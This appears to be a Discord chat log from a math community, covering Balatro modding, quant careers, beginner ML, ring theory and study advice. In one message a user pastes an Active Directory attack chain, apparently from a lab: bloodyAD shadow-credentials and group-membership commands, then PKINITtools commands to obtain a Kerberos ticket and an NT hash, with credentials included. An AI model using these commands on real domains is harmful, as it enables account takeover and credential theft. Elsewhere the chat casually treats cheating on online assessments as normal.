I'm fucking itching for the 2025 update

I stay awake at night thinking about it....

Not really

[terse comet]

oh what's that?

[reef carbon]

what update

[mint canopy]

Localthunk promised an update in 2025

it has not come out yet

There has been little to no info about it

that's about the summary lol

[quick beacon]

yooo! grats!

I really should work on C+ instead of futzing around with modding.

but modding balatro is so fun

[terse comet]

oh have you finished any mods?

what lang is it

there's a few QoL changes I want that idk if mods exist for

like the castle joker really ought to have the icon of the suit for that round on the card I feel

[mint canopy]

it's all in lua, and actually there's a pretty decent mod manager https://github.com/skyline69/balatro-mod-manager

It's not... perfect. But it's decent and it's easy

If you're interested in gameplay mods I think the pokemon mod is pretty good

[terse comet]

I'm probably just into minor changes mods for now

[molten raptor]

oh no

[terse comet]

vanilla+ type things

[quick beacon]

https://github.com/OmnipotentEntity/DiscordVanilla

[molten raptor]

😭

[quick beacon]

That's the mod I'm working on, it's just random stuff other people suggest.

[molten raptor]

😿

[terse comet]

neat! is it modular or planned to be at all?

[quick beacon]

It is planned to be modular, but I need to actually do the UI for that.

It's currently very modular in code.

[terse comet]

very nice

[viral oracle]

the latest update news i heard was the blue deck rebalance
was any other update announced?

[mint canopy]

A 2025 gameplay update was announced a LONG time ago

#1131435117626261514 message

like in 2024

As for the actual content of the update, Thunk has been quite quiet about it

He decided not to rebalance blue seals, apparently

And there will be new jokers. That's all we know really.

[viral oracle]

huh i didn't know new jokers were announced

all i heard was rebalancing

[stark thunder]

That makes sense then

Uh huh

I'm not rlly sure and this might be like a autistic question

But like wouldn't a math degree be more ideal if you wanted all that?

Oh nah in not talking bout pure math

I'm talking about applird

Applied*

On a relative scale applied math is less ideal then?

For quants

[valid flicker]

How important is pre calc for ap calc ab? Like how much of pre calc is actually used in calc

[stark thunder]

Alright last question I won't bug you anymore how many years did it take to get your qualifications your PhD and msc?

Oh

That tradeoff doesn't seem worth it

The ROI

Of like

7 years worth of money and effort poured in

[stark thunder]

That's me thou

I thoguth you wanted quant

Jeez

You used to work at NASA?

You might be way more qualified than anyone I've ever met will be

Definitely

That's why I didn't go for my passion for physics and chem

I wanted aerospace engineerring

My god your like the biggest tryhard I've met

Nasa

And quant

oh they arent a private comp?

ohh no industry? like at all

deadass your like my inspiration bruh

NASA and a quant

i mean NASA is a big name

in the industry

its rlly competetive

[jaunty ibex]

Saving

[stark thunder]

i would say this might be too inspiring

[hasty solar]

I wanna create just a simple model that detects wether a human is presented on an image or not

I just wanna ask

I don’t have any machine learning experience

I have coded

In python but never touched this side

I see online there’s many ways to approach this

If you were in my boat what would you do to start and make it as soon as possible

Of course the model doesn’t need to be even close to perfect

Oh actually I wanted to make it to learn more about it 😭

I don’t need the tool itself

I understand that much

Even something small

And simple

Is cooked

What would that do

[latent edge]

Just use some other model somebody else made

[hasty solar]

Nah I don’t need

The actual detector

It doesn’t matter

I just wanna have some experience

In training and making models

Most people gotta do it anyway right ?

What would that be like

Oh yes

Like

Would it be feasible

Like within 3 years time

[tawny knoll]

Easily

[hasty solar]

Nah I was gonna say like

Without any supporting sin

Ai full scratch

[tawny knoll]

You start off with ML -> DL -> CV i guess

[hasty solar]

Learn how to make something like a detector for people

Like can look and detect different faces

Is that something not that complicated as I think it is

Oh really

[tawny knoll]

There's a youtube playlist from Harvard/stanford where they do that but you always end up using some library it's never "truly from scratch" ever

[hasty solar]

I have a question

Like I know this is really different

But something like what openai made

What’s the actual difference

Is it just amount of neural pathway stuff

Or is it something entirely different

Like what is the difference

Is it complexity or is it arranged differently

[tawny knoll]

People in the software industry are implementing all of this and don't know the math behind back propagation 💀

[hasty solar]

Like chatgpt vs a image sorter

[tawny knoll]

So like

[hasty solar]

Nah I was just wondering

What is the difference

Okok

Thanks !!

[prime tangle]

GPT-5 is the greatest mathematician created

[halcyon aurora]

Yawn

[tawny knoll]

...

[vivid quest]

https://tenor.com/view/boredom-bored-zoey-new-girl-awkward-smile-gif-17324566

[tawny knoll]

Honestly

3b1b explains it the best

Though it's a little more on the math side

Yeah he's amazing

But sometimes it goes over your head if you don't have the pre requisites

I never really got to understand the intuition behind Fourier and Laplace transforms

But i skipped it cause it wasn't that imp for our subjects

SUREEE

[latent edge]

Is that how people see the math I do

I don't understand anything

[tawny knoll]

Sounds really cool but getting your hands on sensitive/company data is hard?

Also, I was hoping for a GitHub repo 😭

But yeah the idea is awesome, is this your final year project?

[cloud ice]

No

[stark thunder]

If I wanted to learn programming for quant fin what websites would be good and like any other tips?

[halcyon aurora]

actually kinda yeah personally.

[old oak]

yep

[tidal shoal]

hi discussy 2

[pure hollow]

Incomprehensibility is rooted deeply in mathematical tradition

[old oak]

yep

[next igloo]

is there anyway someone could provide a linear or exponetial function turning morphing into a normal curve

[next blade]

Very interesting. What's the market here - as in what type of a financial firm would buy an external provider's execution algorithm for them to deploy themselves?

[bronze rock]

I have the following example i made in my notes but for some reason it always sends back a failed check with bloody-ad when adding shadowCert idk what im doing wrong pls help
bloodyAD --host '10.10.11.69' -d 'dc01.example.local' -u 'p.agila' -p 'prometheusx-303' add groupMember 'SERVICE ACCOUNTS' p.agila

generating certi and adding to said group:
bloodyAD --host '10.129.147.223' -d 'dc01.example.local' -u 'p.agila' -p 'prometheusx-303' add shadowCredentials WINRM_SVC

then to say the ticket in ccache:

python3 PKINITtools/gettgtpkinit.py -cert-pem ik5LDalb_cert.pem -key-pem ik5LDalb_priv.pem -dc-ip 10.129.147.223 example.local/WINRM_SVC winrm_svc.ccache

once ticket is in ccache klist, i tried to set environment variable but instead i guess i could just use the ticket to generate a NT hash:

python3 PKINITtools/getnthash.py -key 6e859bbc88c2b9bc5cfd3254cb9c439f7120d61442b485b9964c0e51c14aa622 example.local/WINRM_SVC
my output is always can not find shadowCert? but i checked my bloodhound and it's definitely connected to the user and the group is using it to authenticate but why is the hash invalid? it literally generates it???

[next blade]

I would think that the guys who'd potentially deploy it already have teams developing similar things in-house (and I think wouldn't and couldn't deploy an external black box) and the people who need execution services are the clients of the former group and probably have no interest in deploying anything sophisticated themselves.

I'm not disputing the novelty of the algorithm, it sounds really cool. I'm just trying to understand what the business case for buying it would be. The clients would presumably be firms that offer execution services, so I guess largely banks?

Have they ever bought an externally developed algorithm?

Jane St have bought up smaller firms? I mean it makes sense, but I don't remember ever seeing it in the news - do you have an example?

Individual people get poached between financial firms all the time, sure, but I think entire buyouts don't happen that often and do make headlines. Anyway, so is the idea of developing the algorithm to get hired by one of the firms or is it to make it a business of selling it to all?

But the business model of say Citadel is very different from Jane St

The Citadel buyouts that I'm aware of are less to do with buying up algorithms, but buying up positions and in effect client lists. So the business model is very relevant here.

[ocean harbor]

could u use block code next time? it's hard to read ur issue here

``` py
ur thing goes here
```

[mossy ridge]

Hey

[misty oracle]

Hi

[errant zenith]

hi

[errant zenith]

hru

[errant zenith]

hru

[fresh comet]

@mossy ridge welcome to the mathcord!

[molten raptor]

thanks

w<

[raw narwhal]

can i show someone my face in a videocall i wanna know how old i look

[neat lintel]

is fine if not minor

[halcyon ember]

Does anyone know any mathematical logic study group?

[glass shoal]

Anyone wanna tell me a little about ring theory?

[smoky thistle]

Broadly speaking, it is about understanding properties of number groups, and the integers may be generalized to other "system", such as Gaussian integers Z(i), which are integers in the form a + b i, where a and be are integers.

[glass shoal]

Interesting

[vast wraith]

ring theory is more general than number rings, but certainly, that’s the historical origin

[glass shoal]

Our users certanly doesn't look alike

[tough quail]

c

this isnt related to math but

im making a roblox game based off the uhh

alan or someone

[glass shoal]

Almost nothing in discussion channels is

[tough quail]

alan's math vs animation of something

ok

anyways what should i name the game

not really for fighting since that would take too much coding

[glass shoal]

Whats the game specifically about?

[tough quail]

uh

messing around with math "physically"

to be more speecific

ok idk but

go see the video and youll get the idea

[glass shoal]

Physics playground?

[tough quail]

ok so its like

a game where dividing by zero and sending people in the "sky" is also included in what you can do in the game

[glass shoal]

Perhaps a suitable name?

[tough quail]

wait

sincei ts math

and you said physics playgrond

uh

what about "mathysics playground"

do you think thats a decent name

[glass shoal]

Eeh its a bit unorthodox

[tough quail]

yeah but its memorable and

sort of recognizable

[glass shoal]

You think so? I think its a bit too abstract

[undone lichen]

i need to learn calc 1 and vectors in 1 week, i need help

[raw narwhal]

Can anyone give me advice for college I’m starting in September

[feral nebula]

you should flex those brain muiscles by solving a bunch of math riddles

here's one: #computing-software message

[hollow spear]

Hey everyone,aspiring mathematician/researcher here. My goal is to eventually work on original research. Beyond the standard undergrad curriculum (Calc, Linear Algebra, ODEs), what are the most important topics I should focus on mastering? Any hidden gems or often-overlooked subjects that are crucial for a strong foundation?

[bold carbon]

probably get some undergrad research opportunities to see what topics interest you the most

[uneven violet]

Can someone please help me with Matt

Math

My future depends on it

[surreal bison]

you seem to have missed some of the core undergrad curriculum, like a real analysis course, an abstract algebra course, and a topology course

[spiral trail]

When do I start feeling that I actually know math with substance and not things that seems to be common knowledge for every toddler

/hj

[glass peak]

It will probably take a while, so so many people struggle with imposter syndrome for pretty their entire career

[north topaz]

hi nopeydopey!

[bronze pelican]

I can do anything!

[meager flare]

major?

[tawny knoll]

Super cool

[spiral trail]

Its just that I see some peers already knowing some deep stuff, while I am just excited to finally learn the basic of galois theory

[tawny knoll]

Is this for competitive programming

I literally study like a day before exams 😭

How do you

Um study everyday 😭

Dw I get good grades

Btw

This is so me

Sab you should start doing cf, i just started

It'll be fun

And prob

Help you

Codeforces 😭

Yeah I've heard it's a little math intense but I'd rather do this than leetcode for OAs

Oh you do lc huh

Do you know all the concepts? Or do you like to choose one and do a lot of questions on it

Yeah

Cluely

😭

Btw he's at 6M ARR rn

Which is INSANE

I thought they'd put him behind bars 💀
Especially cause amazon got into it

Ugh

True

They should just do aptitude

To check if you're good i guess

[formal terrace]

Hey what's going on

[tawny knoll]

Right

Bro in uni literally everyone cheats on OAs and i hate it

The system is rigged 💔

No classes and tests are invigilated I'm talking about online assessments for internships and jobs

More important than classes bte

Your gpa does NOT matter at all you need to be able to solve those lc questions (or cheat your way through)

I just started solving those